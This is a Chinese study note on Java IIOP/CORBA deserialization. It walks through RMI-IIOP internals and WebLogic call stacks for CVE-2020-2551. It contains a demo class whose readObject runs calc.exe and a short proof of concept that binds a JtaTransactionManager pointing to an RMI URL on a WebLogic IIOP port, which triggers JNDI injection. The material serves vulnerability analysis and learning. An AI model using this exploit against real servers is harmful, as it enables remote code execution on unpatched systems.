学习记录
IIOP:
IIOP 是 CORBA 的通信协议。它定义通过 CORBA 客户端与服务器之间的连线发送位的方式。(意思是CORBA基于IIOP协议进行数据传输)
CORBA:
公共对象请求代理程序体系结构,缩写为CORBA,CORBA是由对象管理组开发的标准分布式对象体系结构,远程对象接口在平台无关接口定义语言IDL中进行说明,实现从IDL到特定编程语言的映射,将语言绑定到CORBA/IIOP
RMI-IIOP:
java程序员在编写分布式编程解决方案的时候需要在RMI/IIOP之间进行选择,通过遵循一些限制,可以使得RMI服务器对象可以使用IIOP,并与任何语言编写CORBA客户端进行通信,该解决方案被称为RMI-IIOP.
RMI-IIOP结合了RMI的易用性和CORBA的跨语言互操作性
一个IIOP例子
服务端
import javax.naming.Context;import javax.naming.InitialContext;import java.util.Hashtable;public class HelloServer {public static void main(String[] args) throws Exception{HelloImpl hello=new HelloImpl();Hashtable<String,String> env=new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.cosnaming.CNCtxFactory");env.put(Context.PROVIDER_URL,"iiop://127.0.0.1:1050");Context init=new InitialContext(env);init.rebind("hello",hello);}}
客户端
import javax.naming.Context;import javax.naming.InitialContext;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class iiopclient {public static void main(String[] args) throws Exception{Hashtable<String,String> env=new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.cosnaming.CNCtxFactory");env.put(Context.PROVIDER_URL,"iiop://localhost:1050");InitialContext ic=new InitialContext(env);Object objref=ic.lookup("hello");HelloInterface hi= (HelloInterface) PortableRemoteObject.narrow(objref,HelloInterface.class);Message message=new Message();hi.sayHello(message);}}
Message
import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Message implements java.io.Serializable{private void readObject(ObjectInputStream e)throws Exception{System.out.println("readObject");Runtime.getRuntime().exec("calc.exe");}private void writeObject(ObjectOutputStream e)throws Exception{System.out.println("writeObject");}}
在调用的过程中发现服务端会调用Message的readObject方法,而客户端会调用writeObject
分析如下:
服务端bind的过程
public static void main(String[] args) throws Exception{HelloImpl hello=new HelloImpl();Hashtable<String,String> env=new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.cosnaming.CNCtxFactory");env.put(Context.PROVIDER_URL,"iiop://127.0.0.1:1050");Context init=new InitialContext(env);init.rebind("hello",hello); //这里init是InitialContext}
rebind
public void rebind(String name, Object obj) throws NamingException {getURLOrDefaultInitCtx(name).rebind(name, obj);}
跟入getURLOrDefaultInitCtx
protected Context getURLOrDefaultInitCtx(String name)throws NamingException {if (NamingManager.hasInitialContextFactoryBuilder()) {return getDefaultInitCtx();}String scheme = getURLScheme(name);if (scheme != null) {Context ctx = NamingManager.getURLContext(scheme, myProps);if (ctx != null) {return ctx;}}return getDefaultInitCtx();
这里返回了一个默认的Context CNCTX
public void rebind(String var1, java.lang.Object var2) throws NamingException {this.rebind((Name)(new CompositeName(var1)), var2);}
public void rebind(Name var1, java.lang.Object var2) throws NamingException {if (var1.size() == 0) {throw new InvalidNameException("Name is empty");} else {NameComponent[] var3 = CNNameParser.nameToCosName(var1);try {this.callBindOrRebind(var3, var1, var2, true);} catch (CannotProceedException var6) {Context var5 = getContinuationContext(var6);var5.rebind(var6.getRemainingName(), var2);}}}
跟入callBindOrRebind
private void callBindOrRebind(NameComponent[] var1, Name var2, java.lang.Object var3, boolean var4) throws NamingException {if (this._nc == null) {throw new ConfigurationException("Context does not have a corresponding NamingContext");} else {try {var3 = NamingManager.getStateToBind(var3, var2, this, this._env);if (var3 instanceof CNCtx) {var3 = ((CNCtx)var3)._nc;}if (var3 instanceof NamingContext) {NamingContext var5 = NamingContextHelper.narrow((Object)var3);if (var4) {this._nc.rebind_context(var1, var5);} else {this._nc.bind_context(var1, var5);}} else {if (!(var3 instanceof Object)) {throw new IllegalArgumentException("Only instances of org.omg.CORBA.Object can be bound");}if (var4) {this._nc.rebind(var1, (Object)var3); //跟入} else {this._nc.bind(var1, (Object)var3);}}} catch (BAD_PARAM var7) {NotContextException var6 = new NotContextException(var2.toString());var6.setRootCause(var7);throw var6;} catch (Exception var8) {throw ExceptionMapper.mapException(var8, this, var1);}}
public void rebind (org.omg.CosNaming.NameComponent[] n, org.omg.CORBA.Object obj) throws org.omg.CosNaming.NamingContextPackage.NotFound, org.omg.CosNaming.NamingContextPackage.CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName{org.omg.CORBA.portable.InputStream $in = null;try {org.omg.CORBA.portable.OutputStream $out = _request ("rebind", true); //这里返回是一个CDROutputObjectorg.omg.CosNaming.NameHelper.write ($out, n);org.omg.CORBA.ObjectHelper.write ($out, obj); //这里把对象写出去了$in = _invoke ($out);
public static void write (org.omg.CORBA.portable.OutputStream ostream, org.omg.CORBA.Object value){ostream.write_Object (value);}
public void write_Object(org.omg.CORBA.Object ref){if (ref == null) {IOR nullIOR = IORFactories.makeIOR( orb ) ;nullIOR.write(parent);return;}// IDL to Java formal 01-06-06 1.21.4.2if (ref instanceof org.omg.CORBA.LocalObject)throw wrapper.writeLocalObject(CompletionStatus.COMPLETED_MAYBE);IOR ior = ORBUtility.connectAndGetIOR( orb, ref ) ;ior.write(parent);return;}
IIOP 服务端与客户端通信时服务端的调用栈
readObject:9, Messageinvoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:57, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:601, Method (java.lang.reflect)invokeObjectReader:1714, IIOPInputStream (com.sun.corba.se.impl.io)inputObject:1232, IIOPInputStream (com.sun.corba.se.impl.io)simpleReadObject:416, IIOPInputStream (com.sun.corba.se.impl.io)readValueInternal:341, ValueHandlerImpl (com.sun.corba.se.impl.io)readValue:307, ValueHandlerImpl (com.sun.corba.se.impl.io)read_value:999, CDRInputStream_1_0 (com.sun.corba.se.impl.encoding)read_value:271, CDRInputStream (com.sun.corba.se.impl.encoding)_invoke:-1, _HelloImpl_TiedispatchToServant:653, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)dispatch:205, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)handleRequestRequest:1700, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)handleRequest:1558, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)handleInput:940, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)callback:198, RequestMessage_1_2 (com.sun.corba.se.impl.protocol.giopmsgheaders)handleRequest:712, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)dispatch:469, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)doWork:1230, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)performWork:490, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)
从dispatchToServant开始跟
protected CorbaMessageMediator dispatchToServant(java.lang.Object servant,CorbaMessageMediator req,byte[] objectId, ObjectAdapter objectAdapter){try {if (orb.subcontractDebugFlag) {dprint(".dispatchToServant->: " + opAndId(req));}CorbaMessageMediator response = null ;String operation = req.getOperationName() ; //首先获得调用的方法SpecialMethod method = SpecialMethod.getSpecialMethod(operation) ;if (method != null) { //如果method不为空直接invokeif (orb.subcontractDebugFlag) {dprint(".dispatchToServant: " + opAndId(req)+ ": Handling special method");}response = method.invoke(servant, req, objectId, objectAdapter);return response ;}// Invoke on the servant using the portable DSI skeletonif (servant instanceof org.omg.CORBA.DynamicImplementation) {if (orb.subcontractDebugFlag) {dprint(".dispatchToServant: " + opAndId(req)+ ": Handling old style DSI type servant");}org.omg.CORBA.DynamicImplementation dynimpl =(org.omg.CORBA.DynamicImplementation)servant;ServerRequestImpl sreq = new ServerRequestImpl(req, orb);// Note: When/if dynimpl.invoke calls arguments() or// set_exception() then intermediate points are run.dynimpl.invoke(sreq);response = handleDynamicResult(sreq, req);} else if (servant instanceof org.omg.PortableServer.DynamicImplementation) {if (orb.subcontractDebugFlag) {dprint(".dispatchToServant: " + opAndId(req)+ ": Handling POA DSI type servant");}org.omg.PortableServer.DynamicImplementation dynimpl =(org.omg.PortableServer.DynamicImplementation)servant;ServerRequestImpl sreq = new ServerRequestImpl(req, orb);// Note: When/if dynimpl.invoke calls arguments() or// set_exception() then intermediate points are run.dynimpl.invoke(sreq);response = handleDynamicResult(sreq, req);} else {if (orb.subcontractDebugFlag) {dprint(".dispatchToServant: " + opAndId(req)+ ": Handling invoke handler type servant");}InvokeHandler invhandle = (InvokeHandler)servant ;OutputStream stream =(OutputStream)invhandle._invoke(operation,(org.omg.CORBA.portable.InputStream)req.getInputObject(),req);response = (CorbaMessageMediator)((OutputObject)stream).getMessageMediator(); //跟入}return response ;
这里是调用HelloImpl_Tie的invoke
public OutputStream _invoke(String var1, InputStream var2, ResponseHandler var3) throws SystemException {try {HelloImpl var4 = this.target;if (var4 == null) {throw new IOException();} else {org.omg.CORBA_2_3.portable.InputStream var5 = (org.omg.CORBA_2_3.portable.InputStream)var2; //CDRinputObjectif (var1.equals("sayHello")) {Message var6 = (Message)var5.read_value(class$Message != null ? class$Message : (class$Message = class$("Message")));var4.sayHello(var6);OutputStream var7 = var3.createReply();return var7;} else {throw new BAD_OPERATION();}}} catch (SystemException var8) {throw var8;} catch (Throwable var9) {throw new UnknownException(var9);}}
跟入read_value
public final java.io.Serializable read_value(java.lang.Class clz) {return impl.read_value(clz);}
public Serializable read_value(Class expectedType) {// Read value tagint vType = readValueTag();// Is value null?if (vType == 0)return null;// Is this an indirection to a previously// read valuetype?if (vType == 0xffffffff)return handleIndirection();// Save where this valuetype started so we// can put it in the indirection valueCache// laterint indirection = get_offset() - 4;// Need to save this special marker variable// to restore its value during recursionboolean saveIsChunked = isChunked;isChunked = repIdUtil.isChunkedEncoding(vType);java.lang.Object value = null;String codebase_URL = null;if (repIdUtil.isCodeBasePresent(vType)) {codebase_URL = read_codebase_URL();}// Read repository id(s)String repositoryIDString= readRepositoryIds(vType, expectedType, null);// If isChunked was determined to be true based// on the valuetag, this will read a chunk lengthstart_block();// Remember that end_flag keeps track of all nested// valuetypes and is used for older ORBsend_flag--;if (isChunked)chunkedValueNestingLevel--;if (repositoryIDString.equals(repIdStrs.getWStringValueRepId())) {value = read_wstring();} elseif (repositoryIDString.equals(repIdStrs.getClassDescValueRepId())) {// read in the class whether with the old ClassDesc or the// new onevalue = readClass();} else {Class valueClass = expectedType;// By this point, either the expectedType or repositoryIDString// is guaranteed to be non-null.if (expectedType == null ||!repositoryIDString.equals(repIdStrs.createForAnyType(expectedType))) {valueClass = getClassFromString(repositoryIDString,codebase_URL,expectedType);}if (valueClass == null) {// No point attempting to use value handler below, since the// class information is not available.throw wrapper.couldNotFindClass(CompletionStatus.COMPLETED_MAYBE,new ClassNotFoundException());}if (valueClass != null &&org.omg.CORBA.portable.IDLEntity.class.isAssignableFrom(valueClass)) {value = readIDLValue(indirection,repositoryIDString,valueClass,codebase_URL);} else {// Must be some form of RMI-IIOP valuetypetry {if (valueHandler == null)valueHandler = ORBUtility.createValueHandler();value = valueHandler.readValue(parent,indirection,valueClass,repositoryIDString,getCodeBase());
try {jdkToOrbInputStreamBridge.increaseRecursionDepth();result = (java.io.Serializable) readValueInternal(jdkToOrbInputStreamBridge, in, offset, clazz, repositoryID, sender);
跟入readValueInternal
if (vhandler.useFullValueDescription(clz, repositoryID)) {obj = inputObjectUsingFVD(clz, repositoryID, sender, offset);} else {obj = inputObject(clz, repositoryID, sender, offset);}
最终会到IIOPInputStream的InvokeObjectReader
try {osc.readObjectMethod.invoke( obj, readObjectArgList ) ;
osc是ObjectStreamClass,最终就到了message的readObject了
看看CVE-2020-2551的调用过程
poc如下
public static void main(String[] args) throws Exception{Hashtable<String, String> env = new Hashtable<String, String>();env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");env.put("java.naming.provider.url", "iiop://127.0.0.1:7001");Context context = new InitialContext(env);JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:8822/wlc");context.rebind("test",jtaTransactionManager);}
首先来看看jndi的rebind过程
这里context同样也是InitialContext
public void rebind(Name var1, Object var2) throws NamingException {try {NamingContext var3 = this.getContext(var1.toString());if (!ReferenceHelper.exists()) {ReferenceHelper.setReferenceHelper(new ReferenceHelperImpl());}Object var4 = ReferenceHelper.getReferenceHelper().replaceObject(var2); //这里var4还是jtaTransactionManagervar4 = NamingManager.getStateToBind(var4, var1, this, this.env);if (!(var4 instanceof org.omg.CORBA.Object)) {try {NamingContextAny var5 = (NamingContextAny)var3;ORB var6 = ORB.init();Any var7 = var6.create_any();TypeCode var8 = var6.get_primitive_tc(TCKind.tk_value);var7.insert_Value((Serializable)var4, var8); //跟入这个insert_valuevar5.rebind_any(Utils.nameToWName(var1), var7);} catch (ClassCastException var9) {throw new IllegalArgumentException("Object must be a CORBA object: " + var4);}} else {var3.rebind(Utils.nameToName(var1), (org.omg.CORBA.Object)var4);}
跟入rebind_any
public void rebind_any(WNameComponent[] var1, Any var2) throws NotFound, CannotProceed, InvalidName, TypeNotSupported {InputStream var3 = null;try {OutputStream var4 = this._request("rebind_any", true);WNameHelper.write(var4, var1);var4.write_any(var2); //跟入var3 = this._invoke(var4);return;
public final void write_any(Any var1) {if (var1 == null) {this.write_TypeCode((TypeCode)null);} else {this.write_TypeCode(var1.type());var1.write_value(this);}}public void write_value(OutputStream var1) {this.write_value(var1, this.type);}case 29:case 30:((org.omg.CORBA_2_3.portable.OutputStream)var1).write_value((Serializable)this.value);
最终到IIOPOutputStream的write_value写入
} else if (!this.useJavaSerialization) {try {ValueHandlerImpl.writeValue(this, var16, this.maxFormatVersion, var4);} catch (IOException var14) {throw (MARSHAL)(new MARSHAL(var14.getMessage())).initCause(var14);}
public static void writeValue(IIOPOutputStream var0, Object var1, byte var2, ClassInfo var3) throws IOException {ObjectStreamClass var4 = var3.getDescriptor();if (var4.isExternalizable()) {var0.write_octet(var2);((Externalizable)var1).writeExternal(var0);} else if (!ObjectStreamClass.supportsUnsafeSerialization()) {ValueHandler var5 = Util.createValueHandler();if (var5 instanceof ValueHandlerMultiFormat) {((ValueHandlerMultiFormat)var5).writeValue(var0, (Serializable)var1, var2);} else {var5.writeValue(var0, (Serializable)var1);}} else if (var4.isArray()) {writeArray(var0, var1, var4, var3.forClass());} else {writeValueData(var0, var1, var4, var2);}
private static void writeValueData(IIOPOutputStream var0, Object var1, ObjectStreamClass var2, byte var3) throws IOException {if (var2.getSuperclass() != null) {writeValueData(var0, var1, var2.getSuperclass(), var3);}if (var2.hasWriteObject()) {var0.write_octet(var3);ObjectOutputStream var4 = var0.getObjectOutputStream(var1, var2, var3);var2.writeObject(var1, var4);var4.close();} else {var2.writeFields(var1, var0);}}
至此可以看到jndi bind的时候会把对象通过IIOPOutputStream写入
看看weblogic接收到对象的时候做了什么
readObject:1192, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:57, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:601, Method (java.lang.reflect)readObject:314, ObjectStreamClass (weblogic.utils.io)readValueData:281, ValueHandlerImpl (weblogic.corba.utils)readValue:93, ValueHandlerImpl (weblogic.corba.utils)read_value:2128, IIOPInputStream (weblogic.iiop)read_value:1936, IIOPInputStream (weblogic.iiop)read_value_internal:220, AnyImpl (weblogic.corba.idl)read_value:115, AnyImpl (weblogic.corba.idl)read_any:1648, IIOPInputStream (weblogic.iiop)read_any:1641, IIOPInputStream (weblogic.iiop)_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)invoke:249, CorbaServerRef (weblogic.corba.idl)invoke:230, ClusterableServerRef (weblogic.rmi.cluster)run:522, BasicServerRef$1 (weblogic.rmi.internal)doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)runAs:146, SecurityManager (weblogic.security.service)handleRequest:518, BasicServerRef (weblogic.rmi.internal)run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)execute:256, ExecuteThread (weblogic.work)run:221, ExecuteThread (weblogic.work)
看关键部分
public void invoke(RuntimeMethodDescriptor var1, InboundRequest var2, OutboundResponse var3) throws Exception {try {weblogic.iiop.InboundRequest var4 = (weblogic.iiop.InboundRequest)var2;if (!var4.isCollocated() && var4.getEndPoint().isDead()) {throw new ConnectException("Connection is already shutdown for " + var2);} else {Integer var5 = (Integer)objectMethods.get(var4.getMethod());ResponseHandler var6;if (var3 == null) {var6 = NULL_RESPONSE;} else {var6 = ((weblogic.iiop.OutboundResponse)var3).createResponseHandler(var4);}if (var5 != null) {this.invokeObjectMethod(var5, var4.getInputStream(), var6);} else {this.delegate._invoke(var4.getMethod(), var4.getInputStream(), var6);}
跟到_invoke
case 1:try {var63 = WNameHelper.read(var2);var65 = var2.read_any(); //这里读取IIOPInputStream的值
最终会走到valuehandlerImpl的readValue
public static Object readValue(IIOPInputStream var0, ObjectStreamClass var1, Object var2) throws IOException, ClassNotFoundException {if (var1.isArray()) {return readArray(var0, var1, var2);} else {if (var1.isExternalizable()) {byte var3 = var0.read_octet();((Externalizable)var2).readExternal(var0);} else {readValueData(var0, var2, var1);}return var1.readResolve(var2);}}
private static void readValueData(IIOPInputStream var0, Object var1, ObjectStreamClass var2) throws IOException, ClassNotFoundException {if (var2.getSuperclass() != null) {readValueData(var0, var1, var2.getSuperclass());}boolean var3 = true;byte var4 = 1;if (var2.hasWriteObject()) {var4 = var0.read_octet();var3 = var0.read_boolean();}if (var2.hasReadObject()) {boolean var5 = false;if (!var3 && var4 > 1) {var5 = var0.startValue();}ObjectInputStream var6 = var0.getObjectInputStream(var1, var2, var3, var4);var2.readObject(var1, var6); //这里就调用了JtaTransactionManager的readObjectvar6.close();
JtaTransactionManager
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ois.defaultReadObject();this.jndiTemplate = new JndiTemplate();this.initUserTransactionAndTransactionManager();this.initTransactionSynchronizationRegistry();}
然后就跟之前那个jndi注入一样了
参考:
https://www.freebuf.com/vuls/227920.html
https://y4er.com/post/weblogic-cve-2020-2551/




